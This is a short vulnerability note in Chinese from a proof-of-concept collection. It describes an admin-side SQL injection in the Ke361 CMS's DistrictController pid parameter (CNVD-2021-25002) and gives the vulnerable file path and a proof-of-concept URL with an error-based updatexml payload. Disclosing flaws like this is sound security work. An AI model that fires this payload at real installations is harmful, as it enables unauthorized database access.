Awesome-POC/CMS漏洞/Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002.md

29 lines
692 B
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002
## 漏洞描述
Ke361 DistrictController.class.php index() 函数 pid参数存在 SQL注入漏洞通过漏洞可以获取数据库敏感信息
## 漏洞影响
```
Ke361
```
## 环境搭建
https://gitee.com/jcove/ke361
## 漏洞复现
存在漏洞的文件为 `Application/Admin/Controller/DistrictController.class.php`
![image-20220518153238593](C:/Users/47236/AppData/Roaming/Typora/typora-user-images/image-20220518153238593.png)
验证POC
```
admin.php?s=/District/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
```
![image-20220518153336344](images/202205181533405.png)